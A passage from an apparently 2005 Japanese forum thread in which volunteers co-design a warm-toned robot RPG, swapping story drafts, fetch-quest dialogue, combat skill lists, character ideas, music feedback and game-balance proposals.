「ただね、問題があるんだ。機械同士の伝達はすごくうまくいくよ
うになるんだけど、搭乗者、つまり人との相性がものすごく厳しく
なる。乗り手を選ぶようになってしまうんだ。」
『どういうことだ?』
「ロボ玉は他のシェルに命令を出せるぐらい力の強くなったシェル
の集まりだ。だから、逆にそのシェルに命令を伝えるのはものすご
く力が必要になる。あるいは、そのシェル達=ロボ玉に気に入られ
ないといけない。そうでないと、ロボ玉は全く言うことを聞かなく
なる。特に、このロボ玉はね。」
『じゃ、俺も動かせないかもしれないのか?』
「違うよ、君じゃなきゃダメなんだ。考えてみてくれ、僕が誰のた
めにこれを作ったのか?誰のことを考えながらシェルの調整をして
いたのか?
このロボ玉は、君を待っているんだ・・・」

>>641
実際に表に出すのはこの程度というのではどうでしょう?

644 :8 ◆jS1vbFJDVk :2005/11/15(火) 01:57:13 ID:5ZdAMso0
>>642
ナイス指摘。そういや敵だけ動かしてもダメですね。
画面揺れも含めてすぐ修正できるので次回は必ず。
アクティブゲージ制は…やるだけやってみて、
うまくいったら公開するってことで勘弁してください。
>>643
乙!それっぽくていい感じ。そうですね、劇中で
ろぼだまの仕組みについて触れるのはこのくらいで。
親友の口調がこれまでの案と違って妙になよっちいので
少し違和感がありますが、修正すれば問題なさそう。
あと、「ろぼだま」はひらがな表記でお願いします。重要。

645 :JUN ◆ylCNb/NVSE :2005/11/15(火) 10:02:18 ID:DCC0Y4j+
>>587
すっげえ...案がどんどん収束して行く
早く大きなイベントの流れを決めねばなりませんね。

余裕が出てきたら、小イベントの会話なんかも考えて欲しい...
2〜3回の会話で終了するおつかいクエストとか、沢山あったら面白いと思うのです。
587氏が書いたら、「東の森から薬草を採ってきてくれ」というだけのクエストも、ウィットとユーモアに溢れる小ドラマになると思う。

>>639みたいなのは、文書カードにしたらありがたみが出そう

>>643
こういう、説明的なセリフはどこに入れるのが良いですかね?
話の中で唐突に出てきたら、ちょっと変かも...

>>zk氏
ちょっと口出ししても宜しいでしょうか
ts6は、ピアノのGM7にギターのAが重なってたりとか、かなり難しいことをやってしまってるので
伴奏はもうちょい普通な方が良いと思いますよ。
あと3度とか7度の音が重なって聞こえるのが、ちょと気持ち悪いかも

コードをちゃんとつけるともっとカッコ良くなりそうです
良いメロディーなだけにもったいない。

大量作曲予約をしたものの始められずorz

646 :名前は開発中のものです。:2005/11/16(水) 01:02:39 ID:sq/pn/R4
キャラ案投下
戦闘で使う「スキル」を入手できるキャラを考えた。
スキルとは搭乗者自信が習得する技術の事で、戦闘中、中の人の体力(?)を消費する事で特殊な攻撃を行う事ができる。

「ジェイムズ・ストロンガ」
筋肉隆々で禿頭の老人。帝国の退役軍人。
ロボットが戦場に配備され始めた頃、ロボット戦における格闘技を作り上げ、華々しい戦果を挙げた伝説の兵士。
現在は大陸西端で隠居しており、お使いをこなすと格闘系スキルを伝授してくれるようになる。

「キョウジロウ・サイガ」
黒髪黒目の男性。
自然国のスパイだったが、とある事情から今は東の森に隠れ潜んでいる。
化学薬品や自然物を使って敵ロボットに工作する技術を持ち、有償で戦闘時の状態変化スキルを伝授してくれる。

「アケミ」
金髪でグラマーな美女。
北の歓楽都市のバー「スナック オペラ座」のママ。
職業柄、人の心をつかむ話術に長けており、逃げた元旦那との仲をとりなすクエストの後、会話スキルを伝授してくれるようになる。
会話スキルは、戦闘中に敵の戦意を失わせたり、仲間を鼓舞してパラメータを上げたり、バーの女の子を口説くことができる。

こんなんどうでしょう
というか、スキルシステムどうでしょう

647 :名前は開発中のものです。:2005/11/16(水) 01:05:31 ID:+tenUSYw
人の心を掴むのが得意なのに旦那逃げちゃったんですか
と野暮なツッコみをしてみる

648 :名前は開発中のものです。:2005/11/16(水) 01:12:34 ID:sq/pn/R4
得意だから旦那逃げちゃったんですよ

649 :ドリームリーダー763:2005/11/16(水) 02:27:11 ID:1WaQ2YDz
俺のはスキルつける予定。
つー訳でスキル案

格闘系
ブラストブロー/敵を必ず転倒させる
ヒットバックブロー/攻撃した敵をいくらか後ろに下げる
タックル/機体重量の分だけ威力が増す+自機転倒
ステップブロー/一気に間合いを詰めて格闘を仕掛ける
インサイドダメージ/敵パイロットの体力にもダメージが入る
クラッシュブロー/自機にもダメージが入るほど強力な格闘

射撃系
集中射撃/命中率アップ
精密射撃/単発系のみ必中+攻撃力アップ
散布射撃/連射系のみ全体攻撃
牽制射撃/敵機体のバランスが大幅に悪くなる
内部損傷/敵パイロットの体力にもダメージが入る
銃器格闘/銃で殴る

これくらいしか思いつかんが

650 :8 ◆jS1vbFJDVk :2005/11/16(水) 03:12:51 ID:Kw2CSQ2O
>>645
イベントの流れ決めもそろそろ必要ですね。
シナリオ班の人たちが意見交換できる機会があれば
スムーズに決まったりするんじゃないでしょうか。
そう簡単にはいきませんか。そうですか。
>>646
システム&キャラ案GJ。
ストロンガ大尉(勝手に階級決めた)がお気に入り。
スキルシステムですが、これは近いうちに
プロトタイプに実装できるのではないかと思います。
スキル伝授してくれる人をキャリアーに乗せるのも
アリだと思うんですがどうでしょう。旅は道連れ。
>>649
おおー。じゃあ俺も思いつくスキルを。
スピードスター/ダメージ少ないが必ず先制攻撃
カウンターブロー/必ず後手だが、敵の攻撃力を自分の攻撃力に上乗せ
ダウンサプライズ/自分が転倒したとき敵に少しダメージ
即時充填/弾丸、弾倉のリロードを省略
二丁拳銃/短銃を同時に二丁使用
武器破壊/敵の武器を使用不能にする

夢は果てなく。どこまでできるかはさておいて。

651 :587:2005/11/16(水) 06:24:37 ID:mrxj8QR8
587です。実は、ツクールを遊ぶのにランタイムが必要、としらず試作版を触
れていませんでした。ようやく、昨夜試作版をプレイしました。8さんの力作を触らずに
書き込んでいて失礼。
で、島編では「孤児設定」ではなかったんですね。母親がいれば、
島に戻る動機は十分か。
#父親の情報は全く見ていないのですけれど・・・。

まとめサイトから流れてきた新規参入者として、シナリオ方面での
現在の確定情報や検討情報がよくわからずに困っています。最初に
まとめサイトをみたとき、ユーザーサイドからみて回ったので、
「アルウェン」って人がとても重要そうに見えたのですが、このあ
たりはまだ全然未定のようですね。

 今は、風呂敷を広げるよりも畳む時に来ているのだな、と勝手に
解釈して好き勝手に拾い読みした要素をまとめていました。
 適当に拾い読みして、気に入った設定を勝手につないでいると、
過去に決まった大筋の流れをあとから入った新参者が全否定するこ
とになりかねないな、と感じました。もちろん、私のはただの案だ
からいくら没っても構わないのですけど、大筋をまとめる人が必要
なら「絶対必要な要素」だけもらえたらまとめます。
 メインシナリオライターとして8さんが決まっているようなので、
シナリオ面では8さんの指示がある方が動きやすいです。

 もちろん、ネタ出しだけでよい、というのであればそれでもよい
のです。が、ネタを出すにしても出す方向があると思うので、やは
り指示をもらえると嬉しいな。
>>645 でJUNさんからミニシナリオの依頼を受けたので、当面それ
を考えてみます。


652 :名前は開発中のものです。:2005/11/16(水) 06:57:17 ID:QEk/eGXu
これがロボットRPGであることをふまえた上で、スキルシステムに一案

アクティブスキルについてですが、
「ダメージ少ないが必ず先制攻撃 」「短銃を同時に二丁使用 」「弾丸、弾倉のリロードを省略 」
こういうのって、<武器の特性>にして<スキル>とは別物にした方が良いと思います。
戦闘で頻出するような便利な行動を<スキル>にすると、武器変更の意味が弱まるのではないでしょうか?

あくまで「ここぞ!」という時に使うと有利になるような、そして無駄に使うとリスクが大きいような効果をスキルに割り当てる事を提案します。
その方が、例えば「右腕破損・左足破損 あと一撃で仕留められるかどうか!?→クラッシュブロー/自機にもダメージが入るほど強力な格闘  で一発逆転を狙う」 というような、ピンチの際のギリギリの駆け引きが生まれて面白いと思うのです。

それに伴って、戦闘中に1ターン〜数ターンかけて武器が変更できるようにすると、ピンチ以外の時も様々な駆け引きが出来て面白いと思います。
「命中率を上げたい>1ターン捨ててライフル(命中率高)に変更」「敵の動きが速くて正確、対処したい>3ターン捨ててバズーカ(敵機体のバランスが大幅に悪くなる )に変更」とか...

それともう一つ。スキルシステムに突っ込んだのは、こっちの理由が主なのですが...
「スピードスター」「カウンターブロー」「インサイドダメージ」そういう横文字系の名前は、何か冷たい感じがします。
「あたたかみ」あるロボの技には似合わないような気がするのです。

もっとゴッツくて、漢字とひらがなを織り交ぜた名前のほうが似合うと思います。個人的には。

(格)真・爆裂夢幻ドリル烈波/関節を破壊しかねないほど高速の打ち込みッ!>腕部パーツ破壊と引き換えに特大ダメージ。命中率低。
(会)乙女の愛の夢/白馬の王子様を夢見る少女の気持ちになって、敵のハートをゆさぶる>低確率で敵を数ターン行動不能にする

ダメですねネーミングセンスが。

初めて覗きましたが、非常に雰囲気の良い作品ですね。
今後もちょくちょく覗きにきます。頑張ってください。

653 :ドリームリーダー763:2005/11/16(水) 15:00:16 ID:KUF3sQ11
>>652
よし、じゃぁビックリマークとか入れてみよう!

先手必勝!/ダメージ少ないが必ず先制攻撃!
七転八倒!/敵を必ず転倒させる!
反撃裏拳!/必ず後手だが、敵の攻撃力を自分の攻撃力に上乗せ!
炸裂掌底!/攻撃した敵をいくらか後ろに下げる!
重圧体当たり!/機体重量の分だけ威力が増す+自機転倒!
飛び込み正拳!/一気に間合いを詰めて格闘を仕掛ける!
奥義ぃ!烈拳突きぃい!!/自機にもダメージが入るほど強力な格闘ぅう!

一部アニメのサブタイのようだ

654 :652:2005/11/16(水) 15:12:21 ID:2OyBFS04
>>653
サイコー!
そこにシビれる あこがれるゥ!


655 :nanaxes:2005/11/16(水) 19:48:54 ID:r0u7D2py
主人公ドット打ちなおした
http://emps.rash.jp/wiki/index.php?%BC%E7%BF%CD%B8%F8


>シナリオ方面での現在の確定情報や検討情報がよくわからずに困っています。

ごめんなさいそれは僕の責任です。
実は僕が一本につながったストーリーのまとめ的なものを上げるはずだったのですが
うはwwwwwまとめ切れねwwww という状態でして…

この前のチャットでの併合案などもあり本格的に混乱してます。
もう一度、シナリオ面について話し合いたいところです

656 :ドリームリーダー763:2005/11/16(水) 21:08:52 ID:KUF3sQ11
>>655
では今日22:00ごろチャットにいます。
自分も少々相談したいことがあったので

657 :名前は開発中のものです。:2005/11/17(木) 01:28:15 ID:C/aAwdVG
>>8氏へ

今日の分のチャットログです。
http://www.uploda.org/file/uporg239309.txt.html 「robo」

658 :587:2005/11/17(木) 04:18:43 ID:jaEXPN1e
チャットに参加させて頂いて今までの確定要素を整理させてもらいました。
確認をお願いします。

基本路線
・暖かみのある物語、小さな島から出発する主人公、一足先に島を出たメカニックの友人。ロボで旅をする。
・世界は戦争に突入している。人々の心は戦争に荒み始めている。
・そこで、主人公は裸の大将のように暖かみを振りまいて歩き続ける。
・でも主人公も戦争に巻き込まれちゃう。最後は島を守るために体を張る。

必要なシナリオ要素
1・プロローグ:出発
2・ロボ入手
3・働き初め
4・キャリア入手
5・人々との交流
  #これが小ネタ山ほど。サブキャラクターも全て含む。
6・主人公が「戦争の当事者になる」事件
  #主人公機のパワーアップもかねる?
7・最終目的「島を守る」動機付けの発生
8・最終行動「島を守る」
9・エピローグ:?(とりあえずの平和な世界に残された暖かみ)

659 :いつかの190:2005/11/17(木) 05:02:11 ID:AKiAUMZq
8氏とはまだお話しておりませんが、
今日のチャットで再びドット絵等に参加させてもらえるようお願いをしたところ、快い返事を頂きました。
現状では、かなりゆっくりした作業ペースになるかと思いますが、
スタッフの方、スレの方とも、今後ともよろしくお願いします。

まずは主人公ロボの停止(乗降?)状態の作成に入ります。
ついでにレーネのドットが描きかけで放置されていたのでそれも完成させたいところ…ガンバリマス

660 :JUN ◆ylCNb/NVSE :2005/11/17(木) 08:52:49 ID:Ef3T/lye
>>nana氏
GJ!
すごい ちゃんと歩いてる
暖かみある主人公ドットになりましたね。

>>587
GJ!!
今後の活躍を期待してます!
要求があったら遠慮なく言ってください。どこまでもサポートします。

>>190
ウヒョーーー!!!
すっばらしい
また一緒に頑張りましょう!

なんかすごいぞ すごすぎる
この企画に参加してよかったなあ...
今後もドカドカ支援するので 皆さん感想宜しくお願いします

661 :zk ◆PPcELrLkWg :2005/11/17(木) 16:08:19 ID:nOKNZPCO
7の「島を守る」とかは軍事的に便利な場所に島があるため様々な勢力が侵略しようとしてくる・・・っていうのはだめですか。


なんか初めてちゃんとした形になりそうな予感。
今までの企画は挫折ばっかりだったしな・・・。

662 :名前は開発中のものです。:2005/11/17(木) 16:18:41 ID:tjbdOdZF
個人的には、激戦地が故郷よりは、序盤ほのぼのしてた故郷が危機にさらされる、ってのにカタルシスを感じまつ

663 :584:2005/11/17(木) 16:46:37 ID:IxKmulWy
実は島には非常に貴重で高性能な魔鉱石orろぼだまが大量に眠っている、とかどうでしょう?
それが判明したため帝国が占拠しにやってくるという

すごいロボットを所有することを夢見ていた熱き青年の主人公が
島に大量に眠っている魔鉱石orろぼだまを、偶然1つだけ発見
自分用のロボットを作り上げるため先に島を出ていた友人を追いかけ島を後にする


作業用と戦闘用ロボットに絶対的な差を持たせることも必要と思われるので
作業用ロボットには、粗悪で安価な魔鉱石とろぼだまを使用→複雑な作業はできない
という風にしてやって、主人公のロボは見た目作業用だけど
偶然発見した魔鉱石orろぼだまを使用しているため
帝国の量産機を超える性能を持つことになる

と、いろいろ妄想してみました

664 :584:2005/11/17(木) 16:57:32 ID:IxKmulWy
またまたJUNさんの曲を自分なりにmixしてしまいました
ギターの生っぽさと、古ぼけた感じを目指してみました
雰囲気ぶち壊しだ馬鹿野郎とか思っても言わないでくださいね
http://emps.rash.jp/up/src/up0029.zip

665 :8 ◆jS1vbFJDVk :2005/11/17(木) 22:11:37 ID:scwCwMaF
>>651
誤解がないように言っておくと、本編β版は
初代スレ時代のコテ|д゚)さん制作です。あしからず。
その頃から設定は二転三転しているのですが、
シナリオとして作りやすい設定でかまわないと思います。
>>652
それもそうですね。スキルはまだまだ考える必要がありそう。
まずは武器ごとの能力や特性を実装して、
それからスキルを設定していこうかと思います。
武器変更も面白そうですね。サンクス。
>>653
!?
>>655
ついに主人公ドットキター!GJ。さっそく差し替え。
>>657
ありがトン
>>658
路線、シナリオ要素はそれでOKです。
「戦争の描写は冷たく、人間の描写はあたたかく」
でお願いします。

666 :8 ◆jS1vbFJDVk :2005/11/17(木) 22:33:16 ID:scwCwMaF
続けます。
>>661
もしそうなら開戦直後から激戦区になりそうな予感。
>>662
俺もほとんど同じ考えです。カタルシス大事ですよね。
>>663
>実は島には非常に貴重で高性能な魔鉱石orろぼだまが
ろぼだまの原料となるのは特殊な貝殻で、(>>390参照)
島はその貝の産地という設定も考えています。
>>664
アレンジ乙。こういう曲もカードに追加しようと思います。

とは言うものの、戦闘システムの試行錯誤をする際は
カード用ファイルはデータ管理の邪魔になってしまうので
次回から一時的に削除・保留したいと思うのですが、大丈夫でしょうか。
意見ください。

667 :587:2005/11/17(木) 22:37:00 ID:jaEXPN1e
えーと、8さんの許諾も得たので、シナリオの大枠をまとめにかかります。
とりあえず、本編の主要を占めるだろう裸の大将系お使いシナリオの例。
・舞台:どっかの町、割と初期。
 人の集まり「大変だ、女の子が行方不明になったみたいだ」
 母(ママ?)「私が悪いの、指輪を持って行ったことを叱ったから…」泣き崩れる。
 父(パパ?)「お願いです、うちの子を探してください」
 聞き込み
 ・「時計台の見えるところで泣いてる女の子を見たなぁ」
 ・「青い屋根の下にいたよ」
 ・「木箱がいっぱい並んでいるところにいたよ」
 などの断片情報から少女のいる場所を特定。
(動物と話をできるキャラとかスキルとか道具とかあるとおもしろ
い?猫から情報を集めて回る、とか)
 女の子発見、「さぁ、家に帰ろう?」
「(ノ_・、) あのね、わたしね、ママの大切なダイヤのゆびわを勝手
にもって行っちゃったの。それでね、なくしちゃったの。
 パパからもらった大切な指輪だ、っていってたのに、わたし、どうしよう…」泣きじゃくる。
 a案:河に落とした=河の中を主人公が1マスずつ調べて回る。
 b案:カラスに持って行かれた=高い木の上の巣をロボットを使って調べる。
 #ロボの活躍を重視するならb系統? 主人公の人情ならa?
 指輪を見つけて、少女に渡し、家に連れて行く。
  *ガラスの指輪を手に入れた! とかにするとおもしろいかも。
 少女「ママ、ごめんなさい、大切な指輪をごめんなさい」
 ママ「バカ!指輪なんかより○○ちゃんの方が大切に決まってるじゃない!」
 パパ「そうだぞ、パパだって、そんなガラス玉より○○の方が大切だ!」
 ママ「パパ?今なんて言ったの!?ガラス玉!!!!?」
 パパ「あ、いや、それはだなぁ、つまり、その・・・」
 少女「ふたりともケンカしちゃダメ〜〜!」

典型的なお使いイベントですが、こんな感じのほのぼの系などはどうでしょう?クエスト達成のお礼とかは決めていませんが。

668 :名前は開発中のものです。:2005/11/17(木) 22:49:49 ID:aOn5Z7U3
>>664

ただ、前回のアレンジに比べると独自のカラーが打ち出せてない気がする...
いっそ、もっと大胆にアレンジしてみては?
今後に期待大

>>587
GJ!
こういう系の話で、バリエーションが出せるといいね!

個人的には、なんらかの形で(無理矢理にでも)バトルをかませたいなあ。
大樹の上の巣を調べると、森の主のおばけカラスが出てきて、そいつと戦闘。
倒すとガラスの指輪と、その他貴重なアイテムが手に入る。とか。

そういえば、ずっと前に出てた病弱な少年とロボの話...
あと、まとめサイトの海賊の宝の話。
あれも実装してほしいなあ。

669 :587:2005/11/17(木) 23:01:13 ID:jaEXPN1e
では、暴走して最終局面「島防衛戦」に関する考察を行います。

主人公は英雄にならない、という大前提を守った上で、「島を防衛
する」ということを考察する。島を防衛するということは、=軍、
つまり国家を敵に回す、ということになる。その勝者が果たして歴
史の闇に埋もれて平和に生きていけるだろうか?というエピローグ
をにらんだ上で。

現行案の「劣勢な自然国の反攻作戦」説について。
○非常に合理的である。負ける国を潰しても恨まれないし。
▲ただ、大きなマイナス要素として、自然国がらみの設定に不足し
ている上に、そこまで風呂敷を広げると収拾がつかない可能性が高
い。よって縁もゆかりもない自然国との戦いが決戦というのは疑問。

→そこで、シナリオというか風呂敷の都合から、侵攻する陣営を無
理にでも帝国だと設定してみる。

○シナリオとか舞台は帝国側に限ればよいので楽。
▲軍事的に優勢な帝国が、軍事的に無意味な後方地域に侵攻する理
由がない。
▲戦勝国の作戦を邪魔しておいて戦後無事に済むのか怪しい。

670 :587:2005/11/17(木) 23:01:50 ID:jaEXPN1e
つづき。
→よって、侵攻する理由、その他を考える。
・島には魔鉱石か何かの特殊な資源がある。(単なる資源レベルで
は弱いので、遺跡などの特殊技術が望ましい。)
・地形要素、宗教国などのからみにより、帝国は戦力の上で圧倒的
に優勢ではあるものの戦線が膠着している。
・帝国は一枚岩ではなく、このままの状態で講和しても良いと考え
る和平派と、この機会に戦功を上げようと企むタカ派がいる。
・タカ派は、膠着状態を打開すべく島の遺跡技術を狙う。(単なる
資源では弱い理由がこれ。なお、自然国が逆転を企む設定もそのま
ま生きる。)

○タカ派の邪魔をして和平派が有利になったので、戦勝国からの恨
みは小さい。軍が負けた事実を隠蔽するためにも主人公は歴史に埋
もれやすい。
○タカ派を悪役に設定しやすいので、単純な図式もかけるし、帝都
の政治抗争も描ける。一介の便利屋物語には登場しそうにない皇帝
などに出番が与えられる。
○今まで出てきているキャラクターをそのまま生かせば、何とかな
りそう。風呂敷を一度畳んでしまうのには都合いい。

▲島から離れた主人公が島に戻るよりも、帝国が軍事侵攻する方が
速いのじゃないか?という物理的問題。
→船団に密航案が提出済み。
→他に、遺跡間ワープとか、飛行機ネタ、謎の飛行生物ネタ、とか
その気になればごまかしは効く。

以上のことから、非常に合理的な「劣勢な自然国の反攻作戦」をあ
えて破棄し、こじつけではあるが帝国タカ派の遺跡狙い説を提唱し
ます。

671 :587:2005/11/17(木) 23:08:13 ID:jaEXPN1e
ゲームバランスに関する提言
スキルはゲームバランスに極めて大きな影響を与えます。
機体性能、パイロット特性、武器性能だけでも変動要素は大きいです。
現状では、基本的なゲームバランスさえ構築されていないと考えます。
エクセルなどで再現できる程度の基本的なアルゴリズムを構築し、そこで
原則的なバランス調整を考えた上で、「設定としておもしろいスキル」よりも
「単純な撃ち合いゲームを戦略的に楽しむためのスキル」が何かを考察する方が
ゲームの完成に近づくと考えます。
遊びスキルを提案するのは、そのあとに構築されたゲームバランスを壊さない範囲で行うべきではないかと。

現状は、・HP回復無し・距離要素戦闘という2点しか決定していないので、ゲームシステムの構築は急務かと。

672 :ドリームリーダー763:2005/11/18(金) 00:15:29 ID:RXA+/w64
一応報告
http://emps.rash.jp/up/src/up0030.zip
武器一気に追加!
仕様大幅変更。
待機時=防御、移動時=回避+命中率減少に。突っ立ってると食らい安いけどダメージを25%カットするよ!
あと前からだけど戦闘中に武器とか捨てて身軽になれるよ!

>>584さん
アレンジ乙!
ぼろっぽさが出ていい感じ

>>8さん
うぉい!
>>659はシカトかい!

>>587さん乙
本和歌ストーリーイイ!
これからもその調子でお願いします。
>>スキルについて
スキル使用時に体力を消費するという予定ですが
残り体力によって命中率、回避率などに影響するというのに影響するというのはどうでしょう
体力を使わず手堅くいくかスキルを使って短期決戦に持込むとかそういう感じで

673 :8 ◆jS1vbFJDVk :2005/11/18(金) 01:17:00 ID:50gES+N+
おおっと!
>>659
レス見落としすみません!
ドット絵師はほとんどいないのでとても助かります。
これからもどうぞよろしく。
初代スレは氏のイラストなしには続かなかっただろうなぁ。

>>667
あたたかいですね。俺はb案が好み。
大河や海に沈んだ大きめの物体をロボであさるクエストがあれば
a案のネタも生きると思います。
>>668
今はシステム主体の実装で、シナリオ面の実装は
まだ手が付けられない状態です。スマソ
バトルなしクエストならなんとか…といった具合でしょうか。
>>671
確かに、ゲームバランス・システム構築は
最近おろそかにしてましたね。ナイス指摘。
ゲームシステムについてはは少数で決めた方がいいのか、
それとも以前のようにスレの皆さんに意見を求めた方がいいのか…

674 :8 ◆jS1vbFJDVk :2005/11/18(金) 01:46:17 ID:50gES+N+
続けます。長さの関係ですっとばした
>>669-670
激しく乙。シナリオの利点欠点がわかりやすい。
確かに、自然国の設定や内部描写までするとなると
労力が大きくなって作成に支障をきたすかもしれませんし。

で、島に戻る手段としてちょっと考えたのが、
これまで主人公が出会った人々や集団が協力して
故郷に続く様々な裏道や交通手段を準備してくれて、
それを利用して迅速に島へ…というのはどうでしょうか。

「D-TINで港まで直通のトンネルを掘ったぜ!」
「夕凪の姉妹団のとっておき、高速船さ。あとでちゃんと返すんだよ」
「俺様は帝国の港でハデに飛び回って軍を足止めする。
 怪盗ファルコ、最後の大仕事だ」
『さあ、速く行け!』

675 :587:2005/11/18(金) 02:18:11 ID:WM4ZFaBa
>763さん、精力的なシステム研究ありがとうございます。
ゲームは、実務を行うプログラマーがいてこそ成り立つのでよろしくお願いします。
ただ、自分の聞きかじり知識では、HSPでできることと、ツクールでできることには
大きく開きがあると思うのです。現状のHSPでの半ばリアルタイム戦闘と、
おそらくツクールで構築されるターン制の戦闘では自ずとバランスも異なるし、
変数などの設定数も違うと考えます。

たぶん、実務面で8さんが実装できる物理的制限の中で、自分と相手のバランスを決める作業が必要になるはずですよね。
っと書いてると8さんがお見えですね。(^_^

>8さん
シナリオ案、楽しんでもらえて嬉しいです。やはりロボ重視、ですね。

さて、戦闘システムですけれど、自分はツクールソフトの物理限界範囲を理解しておらず、さらには技術限界も把握できていません。
ですから、どこまでのことができるのかさっぱり分からないのです。

本来であれば、イベント当たりの模範レベルを設定し、その局面ごとにバランス取りが必要だと思うのですが、まだ私もシナリオラインを作れていないので、そういう段階での調整ができません。

そこで、レベルと武器と敵を変えられ、自由に戦えるシステムをつくってみるのはどうでしょうか?相対的には自分と同じレベルの雑魚には圧勝するはずですが、どのぐらいレベル差があるとキツイか、武器でどの程度補えるか、などの調整が試せるようになると思います。

676 :587:2005/11/18(金) 02:23:06 ID:WM4ZFaBa
つづきです。

やったことはありませんが、本当に戦闘システムを構築し、敵キャラクターを
用意するというと、たぶん1戦闘あたりにかかる現実時間を考え、そこから
逆算して必要な戦闘ターン数を考えて、それをもとに基準となる耐久力と火力
を算出して、という作業になるとおもいます。その役割まで8さんが背負われ
るのはきついはずです。メインプログラマーとして、また、企画統合者として、
さらに宣伝のためのサイト運営者としてすでに膨大な負担がかかっていると思
います。バランスだけでもみなで分担したいです。

つまり、このレベルではこの程度の敵と戦える、というモデルとなる敵、装備
などを簡単に数種類作って、その中でのバランス取りができるようにしてみる。
意見を集約しながら仮想敵を再調整し、基本バランスが確立して初めてスキルが
搭載できると思います。

例)
・特徴のない能力バランスの敵を、1、3、5、7、10レベルで5つ用意
・763さんの武器案からいくつか抜粋。高火力低命中、低火力高命中など
・自機のレベル、ステータス変更可能 
などで力押しのバランスを見るバージョン。

うまくいったら、回避力の高い敵シリーズ、装甲の厚い敵シリーズ、なども追加していく。もっとうまくいったら、終盤レベルの敵シリーズ、もっともっとうまくいったらスキル搭載バージョンも発表する、とか?

>674 
って、書いてるうちに追加ですね。
>これまで主人公が出会った人々や集団が協力して
>故郷に続く様々な裏道や交通手段を準備してくれて、
>それを利用して迅速に島へ…というのはどうでしょうか。
>『さあ、速く行け!』
素敵ですね。ベタですけど、全てが噛み合う感じでこっぱずかし気持ちよさそうです。

677 :ドリームリーダー763:2005/11/18(金) 23:49:46 ID:H/PSsLMR
http://emps.rash.jp/up/src/up0031.zip
武器とアイテム追加
あと2、3修正

>>676
>戦闘バランス
なるほど
では自分の方でもそれについてプログラムしてみます

>>674
>『さあ、速く行け!』
なにそれ最高じゃん

678 :8 ◆jS1vbFJDVk :2005/11/19(土) 00:50:18 ID:9jyyIDz/
戦闘システム、アクティブ化進行中。
>>675-676
戦闘システムとバランスについてですが、
まだプロトタイプ上でアクティブゲージや敵の行動を
設定しきれていない状態なので、バランス調整は
もう少し先の話になると思います。作業遅くてスマソ

バランス調整用戦闘システムができ次第更新しますので、
それまでの間に、これまで提案されているキャラを
キャラテンプレにあてはめて決定していってもらえると助かります。
ちなみにテンプレ
【名前/年齢】

【性別/身体的特徴】

【性格】

【好みや苦手なもの】

【人生背景】

【目的】

679 :8 ◆jS1vbFJDVk :2005/11/19(土) 00:51:17 ID:9jyyIDz/
おっと。
>>677
いつも乙。
バランスについてのプログラムというと、
具体的にはどういうものになるんでしょう?

680 :ドリームリーダー763:2005/11/19(土) 02:10:23 ID:L8P1eFKp
>>679
えーとただ単に敵と自分の中の人にレベルつけるってだけです
ついでにスキルもつけようかなぁ

681 :587:2005/11/19(土) 04:24:00 ID:lULhNKgq
587です。新規参入者なので、勢い込んで荒しのようにたくさん書き込みしてすみません。
あらためてログを読み返すと、明らかに暴走してますね、不快に感じていた方もいると思う
のでお詫びしておきます。

>>677
ドリームリーダー763さん、調整に対する賛同ありがとうございます。
私は「未完の大作は評価対象にしない」という完成至上主義者なので、
戦闘システムを簡易化してでも完成できるようにと考えてしまうのです。
その際に、バランスさえ何とかなっていたらゲームとして成立するだろう、と。
つまり、単なるどつきあいでしかないドラクエ1より複雑な戦闘システムは
腐るほど存在しますが、ドラクエ1よりも遊べる戦闘バランスのゲームは
ほんの一握りしかないなぁ、という現実認識です。
ゲームは遊べてなんぼ、と考えるので、バランス調整のたたき台があると
とても有意義だと思います。自分で作る技能がないので、実作される方がいるのは
本当に素晴らしいと考えてます。

>>679
8さん、キャラクター設定テンプレートありがとうございます。
これの書式で仕上げることが必要なら、そうします。
ただ、私は人物について物語の構成から逆算して設定をするので、
私が人物設定をすると物語の中に使われる場面を想定してからの
作業になりますが、いいでしょうか?
#つまり、人物の設定を生かして物語を作る、のではなく、
#物語の必要に応じて、人物を設定する、という手順。

また、戦闘システムについてですが、負担になるのでしたら余計な口出しを
お詫びします。
ただ、上で書いたように、複雑で格好いいけど遊びにくいシステムよりも、
ださくても何となく遊べる単純なシステムの方がゲームには都合が良いと考えます。
実質的に、プログラマーは8さん1人しかいないのに、複雑な戦闘システムの構築
まですべて作り上げようとすると破綻しないかなと心配してました。
でも、私の要望で8さんに負担をかけてしまっては元も子もないので、本当に失礼しました。

682 :587:2005/11/19(土) 04:59:01 ID:lULhNKgq
キャラクター情報得ようとまとめサイト見てたら、
ttp://emps.rash.jp/wiki/index.php?%A5%C6%A5%E9%A5%E1%A5%E2%A5%B9
もう案がだいぶ固まってきている見たいですね。
##nanaxesさんのメモでしょうか?

状況把握してない私は下手にキャラクター設定に手を出さない方がいいので、ちょっとペースダウンして待ちます。
よくよく、勝手に暴走していたと反省します。

683 :nanaxes:2005/11/19(土) 10:03:06 ID:usY9bnD8
実は
「遺跡の発動=島の崩壊」と
「島を狙うのが帝国」以外、ここ最近に>>587さんがまとめられている筋と
僕が考えていたものに齟齬はなかったりします。

島の崩壊ですが、これは僕としては遺跡を使っても崩壊まではしなくていいかなぁと。
島の崩壊というのは確かに悲劇ではありますが、それはある意味あと腐れないわけです。

>>528の・膨大な鉱物資源のために帝国の干渉を受け翻弄されたA国 (中立か宗教のいずれか。)
と対比させたいというのもあります。
(そのA国に関することが何も決まってません。>>587さんの支援を期待したいなぁ)

もうひとつは、発動=崩壊だとゲーム的に発動の場面を見せられないわけです。主人公が止めちゃうので。
それはちょっともったいないかなと。

まあ部分的な発動とか理由はいくらでもつけられますし、どの道主人公らが阻止する「おきない事」であるので
崩壊説を信じてたらそうでないことが明かされるとか、その逆とか、どうにでもなると言えばどうにでもなるのですが。

#あとフルメンバーでシナリオに関する話し合いをするのは無理っぽいとこの前気づいたので
シナリオ班という形で3人程度でチャットしたいです。

■別件
あ れ ?

サポートに電話覚悟で2台目(1台目はマザーあぼん)にツクールインスコしたら普通に動くよ?
この上で最初にインスコしたほうから認証しようとして初めて、引っかかるってことなのかな…
警戒リストに載るかもしれないと思って止めてたのが馬鹿みたいだorz

684 :587:2005/11/19(土) 15:34:24 ID:HlS/ir44
nanaxesさん、状況確認ありがとうございます。

>実は
>「遺跡の発動=島の崩壊」と
>「島を狙うのが帝国」以外、ここ最近に>>587さんがまとめられている筋と
>僕が考えていたものに齟齬はなかったりします。
よかった。たぶんに拾い上げたネタの多くがnanaxesさんのものを使わせて頂いていた
影響だとおもいますが、安心しました。

遺跡による崩壊説には何の根拠もないので、
